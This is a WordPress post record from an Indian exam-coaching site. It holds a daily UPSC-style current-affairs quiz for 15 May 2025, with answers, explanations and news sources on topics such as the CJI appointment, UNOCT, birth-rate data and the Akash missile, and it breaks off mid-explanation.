{"id":2079,"date":"2025-05-15T14:49:47","date_gmt":"2025-05-15T14:49:47","guid":{"rendered":"https:\/\/iasquest.com\/?p=2079"},"modified":"2026-02-11T18:57:24","modified_gmt":"2026-02-11T18:57:24","slug":"daily-current-affairs-15-05-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-15-05-2025\/","title":{"rendered":"Daily Current Affairs \u2013 15-05-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. With reference to the appointment of the Chief Justice of India (CJI), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. The Constitution of India explicitly mentions the procedure for the appointment of the CJI.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. The senior-most judge of the Supreme Court is appointed as the CJI by convention.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. The President of India appoints the CJI after consulting the Prime Minister and the Union Cabinet.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Answer: (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong><em>News: Justice B.R. Gavai takes over as CJI for a six-month tenure<\/em><\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-12\">\n<li>The Constitution does not explicitly mention the procedure for appointing the CJI. <strong><em>Hence Statement (1) is incorrect.<\/em><\/strong><\/li>\n\n\n\n<li>Appointment by seniority is convention, not law. <strong><em>Hence Statement (2) is correct.<\/em><\/strong><\/li>\n\n\n\n<li>The President appoints the CJI based on the outgoing CJI&#8217;s recommendation, through the <strong>Law Minister and Prime Minister,<\/strong> <strong><em>not the full Union Cabinet.<\/em><\/strong><\/li>\n\n\n\n<li>Appointment Process of the Chief Justice of India (CJI)<\/li>\n\n\n\n<li><strong>Seniority Convention: <\/strong>By established convention, the senior-most judge of the Supreme Court is recommended as the next CJI. This convention is followed unless there are compelling reasons to depart from it.<\/li>\n\n\n\n<li><strong>Recommendation by the Outgoing CJI: <\/strong>The outgoing Chief Justice recommends the name of the senior-most judge to the Union Ministry of Law and Justice, typically about a month before retirement.<\/li>\n\n\n\n<li><strong>Processing by the Government: <\/strong>The Union Minister of Law and Justice forwards the recommendation to the Prime Minister.<\/li>\n\n\n\n<li>The Prime Minister then advises the President on the appointment.<\/li>\n\n\n\n<li>Presidential Appointment:<strong><em> Under Article 124(2) of the Constitution, the President appoints the Chief Justice of India.<\/em><\/strong><\/li>\n\n\n\n<li><strong>Article 124(2)<\/strong> says that &#8220;<strong><em>Every Judge of the Supreme Court shall be appointed by the President after consultation with such of the Judges of the Supreme Court and of the High Courts in the States as the President may deem necessary&#8230;<\/em><\/strong>&#8220;<\/li>\n\n\n\n<li><strong>Consultation in Case of Doubt: <\/strong>If there is any doubt about the fitness of the senior-most judge, the President may consult other judges of the Supreme Court, in line with Article 124(2).<\/li>\n\n\n\n<li><strong>Memorandum of Procedure (MoP): <\/strong>The MoP outlines the detailed steps and timelines for such appointments and is based on judicial precedents (notably the Three Judges Cases) and executive-judiciary consensus.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/justice-br-gavai-sworn-in-as-chief-justice-of-india\/article69574074.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/justice-br-gavai-sworn-in-as-chief-justice-of-india\/article69574074.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>2. With reference to the United Nations Office of Counter-Terrorism (UNOCT), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\">1. It was established by the UN Security Council in response to increasing acts of terrorism.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\">2. The UNOCT coordinates counter-terrorism efforts across the UN system through the UN Global Counter-Terrorism Coordination Compact.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Answer: (b)<\/strong> <strong>2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong><em>News: Indian team in UN to present evidence on Pahalgam attack<\/em><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-24\">\n<li>The United Nations Office of Counter-Terrorism (UNOCT) was established by <strong>United Nations General Assembly<\/strong> in 2017.<\/li>\n\n\n\n<li>It was created <strong><em>to provide leadership on the General Assembly\u2019s counter-terrorism mandates and to enhance coordination and coherence across the UN system&#8217;s counter-terrorism activities.<\/em><\/strong><\/li>\n\n\n\n<li>The UNOCT supports Member States in implementing the UN Global Counter-Terrorism Strategy.<\/li>\n\n\n\n<li><strong><em>UNSC-CTC (Counter-Terrorism Committee): It was established by Security Council <\/em><\/strong>resolution 1373 which was adopted unanimously on 28th September 2001 in the wake of the 9\/11 terror attacks in the US.<\/li>\n\n\n\n<li>The UN Global Counter-Terrorism Coordination Compact (also known as the Counter-Terrorism Compact) was established in 2018 as a framework to strengthen a common UN action approach to counter-terrorism.<\/li>\n\n\n\n<li>The<strong><em> United Nations Global Counter-Terrorism Coordination Compact is the largest coordination framework<\/em><\/strong> across the <strong>three pillars<\/strong> of work of the United Nations:<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">       <strong>1. peace and security,<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">       <strong>2. sustainable development,<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">       <strong>3. human rights and humanitarian affairs<em>. Hence option(b) is correct.<\/em><\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-28\">\n<li>The<strong> Terrorism Prevention Branch (TPB)<\/strong> of the United Nations Office on Drugs and Crime (UNODC) assists Member States in strengthening national capacity to implement universal legal instruments against terrorism.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/indian-team-to-present-in-un-evidence-on-pahalgam-terror-attack\/article69576655.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/indian-team-to-present-in-un-evidence-on-pahalgam-terror-attack\/article69576655.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>3. Karegutta Hill, a very difficult and hilly terrain recently seen in news for biggest-ever operation against Naxalism is situated between<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">(a) Chhattisgarh-Telangana border<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">(b) Telangana-Andhra Pradesh border<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\">(c) Chhattisgarh-Odisha border<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">(d) Andhra Pradesh-Chhattisgarh border<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>Answer: (a)Chhattisgarh-Telangana border<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong><em>News: \u201821-day anti-Naxal operation dislocated Maoist leadership\u2019<\/em><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-37\">\n<li>Achieving a historic success in the resolve of a \u2018Naxal-free India\u2019, security forces kill 31 Naxalites in the biggest-ever operation against Naxalism at Karreguttalu Hill (KGH) on <strong>Chhattisgarh-Telangana border.<\/strong><\/li>\n\n\n\n<li>Also, <strong>Chakarbanda Hilly Region and Boodha Pahad<\/strong> as areas <strong>similar to the Karegutta Hill.<em>Hence option(a) is correct.<\/em><\/strong><\/li>\n\n\n\n<li><strong>&nbsp;<\/strong>\u201cThese inaccessible regions were acting as bastions for the Naxals and were no-go areas for the security forces. With them being cleared, achieving the goal of Naxal-free India in the future seems easy.<\/li>\n\n\n\n<li>Home minister Amit Shah reassured that India will be achieved as <strong>Naxal-free by March 31, 2026.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2128736\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2128736<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>4. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">1. The Sample Registration System (SRS) Report 2021, released by the Registrar General of India (RGI)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">2. It is the largest demographic survey in the country, to provide annual estimates on fertility and mortality indicators such as birth rates and death rates.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">3. According to this Report, the slowest rate of decline in birth rate was seen in States such as Kerala, Tamil Nadu and Delhi.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>How many statement(s) of the above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>Answer: (b)Only two<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>News: <em>Birth rates in Delhi, Kerala, and T.N. declining at twice the rate of national average: report<\/em><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-50\">\n<li>The <strong>annual crude birth rates (live births per 1,000 people in the population) in Tamil Nadu, Delhi and Kerala are <em>declining at twice the rate of the national average, <\/em><\/strong>showed data from the <strong>Sample Registration System (SRS) Statistical Report, 2021, released by the Registrar- General of India.<em> Hence Statement (1) is correct.<\/em><\/strong><\/li>\n\n\n\n<li>The data showed that the all-India crude birth rate was 19.3 in 2021, dropping at a rate of 1.12% every year from 2016 to 2021.<\/li>\n\n\n\n<li>In comparison, in the same period, the birth rate in <strong>Tamil Nadu has been declining at a rate of 2.35% every year, Delhi\u2019s at a rate of 2.23% and Kerala\u2019s at 2.05%.<\/strong><\/li>\n\n\n\n<li>The SRS is the largest demographic survey in the country, meant to provide annual estimates on fertility and mortality indicators such as birth rates and death rates. <strong><em>Hence Statement (3) is correct.<\/em><\/strong><\/li>\n\n\n\n<li>Apart from the southern States, <strong><em>birth rates were seen declining faster than the national average for Maharashtra (1.57%), Gujarat (1.24%), Odisha (1.34%), Himachal Pradesh (1.29%), Haryana (1.21%), and J&amp;K (1.47%)<\/em><\/strong>, with Punjab\u2019s birth rate declining almost at the same rate as that of the national average.<\/li>\n\n\n\n<li>The data showed that the <strong><em>slowest rate of decline in birth rate was seen in States such as Rajasthan (0.48%), Bihar (0.86%), Chhattisgarh (0.98%), Jharkhand (0.98%), Assam (1.05%), Madhya Pradesh (1.05%), West Bengal (1.08%), and Uttar Pradesh (1.09%).<\/em><\/strong> The data further revealed that Uttarakhand was the only State which saw a rise in birth rate in this period.<strong> <em>Hence Statement (2) is incorrect.<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"517\" height=\"394\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/05\/image-6.jpg\" alt=\"\" class=\"wp-image-2081\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-6.jpg 517w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-6-300x229.jpg 300w\" sizes=\"auto, (max-width: 517px) 100vw, 517px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/tamil-nadu-delhi-kerala-birth-rates-declining-at-twice-the-rate-of-national-average-srs-2021-data\/article69576011.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/tamil-nadu-delhi-kerala-birth-rates-declining-at-twice-the-rate-of-national-average-srs-2021-data\/article69576011.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>5. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">1. The Chairman and other members of a Public Service Commission shall be appointed by the President.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">2. A member of a Public Service Commission shall hold office for a term of six years from the date on which he enters upon his office or until he attains&nbsp; the age of sixty-two years and&nbsp; whichever is earlier.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>Which of the above statement(s) is\/are incorrect?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>Answer: (b)2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>News:<em> Ajay Kumar Takes Oath As New UPSC Chairman<\/em><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-62\">\n<li>The Chairman and other members of a Public Service Commission (UPSC) shall be appointed by the<strong> President,<\/strong> and in the case of a State Commission (SPSC), by the<strong> Governor of the State as per Article-316 which deals with appointment and term of office of members.<\/strong><\/li>\n\n\n\n<li>Provided that as nearly as one-half<strong><em> of the members of every Public Service Commission shall be persons who at the dates of their respective appointments have held office for at least ten years either under the Government of India or under the Government of a State.<\/em><\/strong><\/li>\n\n\n\n<li>If the office of the Chairman of the Commission becomes vacant or if any such Chairman is by reason of absence or for any other reason unable to perform the duties of his office, those duties shall, until some person appointed under clause (1) to the vacant office has entered on the duties thereof or, as the case may be, until the Chairman has resumed his duties, be performed by such one of the other members of the Commission as the President, in the case of the Union Commission or a Joint Commission, and the Governor of the State in the case of a State Commission, may appoint for the purpose.<\/li>\n\n\n\n<li>A member of a Public Service Commission shall hold office for a<strong> term of six years f<\/strong>rom the date on which he enters upon his office or until he attains, in the case of the Union Commission, <strong>the age of sixty-five years<\/strong>, and <strong>in the case of a State Commission<\/strong> or a <strong>Joint Commission (JPSC) ,<\/strong> the <strong>age of sixty-two years, whichever is earlier.<em>Hence option(b) is correct.<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.newsonair.gov.in\/ajay-kumar-takes-oath-as-new-upsc-chairman\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.newsonair.gov.in\/ajay-kumar-takes-oath-as-new-upsc-chairman\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>6. The first ever pan-India National Household Travel Survey conducted recently by<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\">(a) Reserve Bank of India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\">(b) Ministry of Statistics and program implementation<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\">(c) NITI aayog<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\">(d) Ministry of Tourism and Culture<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>Answer:&nbsp; (b) Ministry of Statistics and program implementation<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>In News: <\/strong>Changes in Periodic Labour Force Survey (PLFS) from 2025<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-71\">\n<li>National Statistics Office, Ministry of Statistics &amp; Programme Implementation (MOSPI) is making continuous efforts to bring significant improvements in the surveys conducted by NSS through enhancement of the frequency, scope, relevance of the surveys along with reduction in the timeline for dissemination of survey findings and provisioning easy access to the survey data.<\/li>\n\n\n\n<li><strong>&nbsp;NSO, MOSPI has conducted the back-to-back surveys of Household Consumption Expenditure (HCES) during 2022-23 and 2023-24, has completed the second pan-India Time Use Survey (TUS) undertaken during 2024 and is in the process of undertaking the Domestic Tourism Expenditure Survey (DTES) and first ever pan-India National Household Travel Survey (NHTS) from July 2025<\/strong>.<strong><em>Hence option(b) is correct.<\/em><\/strong><\/li>\n\n\n\n<li>As a part of this continuous endeavour aimed at enhancing the surveys of NSS, the sampling design of PLFS has been revamped from January 2025 to address the requirement of high frequency labour market indicators with enhanced coverage from PLFS.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2128662\" target=\"_blank\" rel=\"noopener\">https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2128662<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>7.With reference to The National Commission for Protection of Child Rights, Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">1. It has been constituted by the Government of India ,under the Human rights&nbsp; Rights Act,2005<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">2. The commission consists of a chairperson and six members.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>Answer:&nbsp; (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>In News:<\/strong> National Commission for Protection of Child Rights convenes National Consultation on Dissemination and Awareness of the Protection of Children from Sexual Offences Act, 2012, and the Child and Adolescent Labour (Prohibition and Regulation) Act, 1986<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-83\">\n<li>The National Commission for Protection of Child Rights (NCPCR), held an online National Consultation on Dissemination and Awareness of the Protection of Children from Sexual Offences (POCSO) Act, 2012 and the Child and Adolescent Labour (Prohibition and Regulation) CAL (P&amp;R) Act, 1986.<\/li>\n\n\n\n<li>Around 300 participants from various Central and State Ministries, State Police Departments, SCPCRs, NGOs participated in the aforementioned event.<\/li>\n\n\n\n<li><strong>The National Commission for Protection of Child Rights (NCPCR) has been constituted by the Government of India ,under the Commission for Protection of Child Rights (CPCR) Act,2005 to exercise and perform the powers and functions assigned to it under CPCR Act,2005.<em>Hence statement 1 is incorrect.<\/em><\/strong><\/li>\n\n\n\n<li><strong>The commission consists of the following members namely:-<\/strong><\/li>\n\n\n\n<li><strong>A chairperson who, is a person of eminence and has done outstanding work for promoting the welfare of children.<em>Hence statement 2 is correct.<\/em><\/strong><\/li>\n\n\n\n<li>Six members, out of which at least two are woman, from the following fields, is appointed by the Central Government from amongst person of eminence, ability, integrity.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2128731\" target=\"_blank\" rel=\"noopener\">https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2128731<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>8.TAPAS,RUSTOM,HERON recently seen in a news is a<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\">(a) Surface to air missile<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\">(b) Torpedo<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">(c) Surveillance and Reconaissance drones<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\">(d) Air defence system<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>Answer:&nbsp; (c) Surveillance and Reconaissance drones<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>In News: <\/strong>Operation SINDOOR: The Rise of Aatmanirbhar Innovation in National Security<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-92\">\n<li>Operation SINDOOR emerged as a calibrated military response to an evolving pattern of asymmetric warfare, one that increasingly targets unarmed civilians along with military personnel.<\/li>\n\n\n\n<li>The terrorist attack on tourists in Pahalgam in April 2025 served as grim reminder of this shift.&nbsp; India\u2019s response was deliberate, precise, and strategic.<\/li>\n\n\n\n<li>IG Drones is a Drone Technology Company for manufacturing and R &amp; D of Drones specialized in defence and other industry applications along with provider of drone related services like \u200b drone surveying, mapping &amp; inspection by industry experts.<\/li>\n\n\n\n<li>&nbsp;The company has partnered with the Indian Army, Government of India , multiple State Governments, among others.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"602\" height=\"444\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/05\/image-5.jpg\" alt=\"\" class=\"wp-image-2082\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-5.jpg 602w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-5-300x221.jpg 300w\" sizes=\"auto, (max-width: 602px) 100vw, 602px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong><em>Hence option(c) is correct.<\/em><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2128746\" target=\"_blank\" rel=\"noopener\">https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2128746<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>9. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Statement -I:<\/strong> Akash is a mobile short-to-medium-range air to surface&nbsp; missile system developed by the Defence Research and Development Organisation<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>Statement -II:<\/strong> The system can simultaneously engage multiple aerial targets such as enemy aircraft, missiles, and unmanned aerial vehicles (UAVs).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">(a) Both Statement &#8211; I and Statement &#8211; II are correct and Statement &#8211; II is the correct explanation for Statement &#8211; I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">(b) Both Statement &#8211; I and Statement &#8211; II are correct and Statement &#8211; II is not the correct explanation for Statement &#8211; I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\">(c) Statement &#8211; I is correct but Statement &#8211; II is incorrect<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">(d) Statement &#8211; I is incorrect but Statement &#8211; II is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>Answer:&nbsp; (d) Statement &#8211; I is incorrect but Statement &#8211; II is correct<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>In News: <\/strong>Story of India\u2019s Akash missiles that nullified Pakistan\u2019s aerial attacks<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-106\">\n<li><strong>Akash (\u201csky\u201d in Sanskrit) is a mobile short-to-medium-range surface-to-air missile system developed by the Defence Research and Development Organisation (DRDO), and currently in service with the Indian Air Force (IAF) and the Indian Army..<em>Hence statement 1 is 